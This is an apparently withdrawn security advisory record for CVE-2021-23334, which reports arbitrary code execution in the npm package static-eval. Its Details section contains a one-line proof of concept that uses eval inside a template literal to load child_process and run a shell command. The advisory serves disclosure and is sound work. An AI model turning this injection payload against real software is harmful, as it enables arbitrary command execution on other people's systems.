GHSA-8v27-2fg9-7h62

Suggest an improvement
Source
https://github.com/advisories/GHSA-8v27-2fg9-7h62
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-8v27-2fg9-7h62/GHSA-8v27-2fg9-7h62.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8v27-2fg9-7h62
Aliases
  • CVE-2021-23334
Withdrawn
2021-05-04T20:26:20Z
Published
2021-05-06T16:11:25Z
Modified
2026-09-10T03:49:14Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Withdrawn: Arbitrary Code Execution in static-eval
Details

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

WITHDRAWN

This was deemed not a vulnerability. See this issue for details.

Database specific
{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2021-03-18T23:01:14Z",
    "nvd_published_at":  "2021-02-11T12:15:00Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / static-eval

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
2.1.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-8v27-2fg9-7h62/GHSA-8v27-2fg9-7h62.json"